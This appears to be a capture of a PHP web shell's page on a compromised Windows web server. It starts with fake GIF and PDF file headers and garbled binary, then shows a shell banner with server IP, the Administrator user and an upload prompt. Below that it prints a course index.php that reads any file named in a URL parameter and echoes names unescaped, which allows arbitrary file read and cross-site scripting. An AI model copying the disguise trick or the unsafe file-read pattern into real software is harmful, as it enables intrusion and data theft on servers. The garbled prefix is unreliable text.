GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/JimMartinson/ |
Upload File : |
<!DOCTYPE html> <head> <style> .note { color: #08f; font-size: smaller; font-weight: normal; line-height: 1.2em !important; } span.note::before { content: "Note: "; font-weight: bold; } </style> </head> <html> <body> <h1>Examples and Notes by Week</h1> <?php date_default_timezone_set('America/Chicago'); $files = scandir('.'); #var_dump($files); echo "<br>\n"; ?> <table> <?php foreach ( $files as $file ) { if ( $file == '.' || $file == 'index.php' ) { continue; } if ( $file == '..' ) { ?> <tr> <td><a href=".." style="color:red;">↑ Up to <b>Parent</b> directory</a></td> <td></td> </tr> <?php } elseif ( strpos($file, ".") === false ) { ?> <tr> <td><a href="<?=$file?>" style="color:red;">↓ Down to <b><?=$file?></b> directory</a></td> <td></td> </tr> <?php } elseif ( strpos($file, ".php") !== false ) { ?> <tr> <td><a href="index.php?file=<?=$file?>">View <?=$file?> code</a>.</td> <td><a href="<?=$file?>" target="_blank">Run <?=$file?></a>. <span class="note">Not all files will run on the CST server.</span></td> </tr> <?php } else { ?> <tr> <td><a href="index.php?file=<?=$file?>">View <?=$file?> code</a>.</td> <td><a href="<?=$file?>" target="_blank">Open/Save <?=$file?></a>.</td> </tr> <?php } } ?> </table> <?php if (isset($_GET['file'])) { $file = $_GET['file']; $filecontents = htmlspecialchars(file_get_contents($file)); ?><p>The code for <b><?=$file?></b> is:<br> <textarea> <?=$filecontents?> </textarea> <?php } ?> <script> // resizeTextareas(maxWidth) // Resizes all textareas on the page. // minWidth = The minimum textarea width. // maxWidth = The maximum textarea width. function resizeTextareas(minWidth, maxWidth) { //alert('resizeTextareas('+maxWidth+')'); if ( minWidth == undefined ) minWidth = 80; if ( maxWidth == undefined ) maxWidth = 200; var textareas = document.getElementsByTagName("textarea"); for ( $i=0; $i<textareas.length; $i++ ) { resizeTextareaById(textareas[$i], minWidth, maxWidth) } } // resizeTextareaById(eId, maxWidth) // Called by resizeTextareas() or resizeTextarea() to resize this textarea. function resizeTextareaById(eId, minWidth, maxWidth) { console.log('resizeTextareaById('+eId.name+','+minWidth+','+maxWidth+')'); var width = 0; // Used to calculate the textarea's current width. var height = 0; // Used to calculate the textarea's current height. //var minWidth = 20; // The textarea's minimum width. var minHeight = 1; // The textarea's minimum height. var linelengthmodifier = 1.1; // Used to modify linelength due to font. lines = eId.value.split('\n'); // Get an array of the textarea's lines. //alert('name='+eId.name+' value='+eId.value); for (var i = 0; i < lines.length; i++) { // Loop through each line. var linelength = lines[i].length * linelengthmodifier; // Get the line length. console.log(linelength); if ( linelength > width ) width = linelength; // Increase width if needed. height++; // Increment height. } //height *= 1.4; if ( width > maxWidth ) { // If width too large reset it and increment height. console.log('width='+width+' > maxWidth'+maxWidth); width = maxWidth; for (var i = 0; i < lines.length; i++) { // Loop through each line. var linelength = lines[i].length; // Get the line length. if ( linelength > width ) height++; // Increment height. } height++; // Increment height. } if ( width < minWidth ) width = minWidth; // If width too small set to minWidth. if ( height < minHeight ) height = minHeight; // If height too small set to minHeight. console.log('name='+eId.name+' width='+width+' height='+height); if ( width > 0 ) eId.cols = width; // Set the textarea's width. if ( height > 0 ) eId.rows = height; // Set the textarea's height. } resizeTextareas(); </script> </body> </html>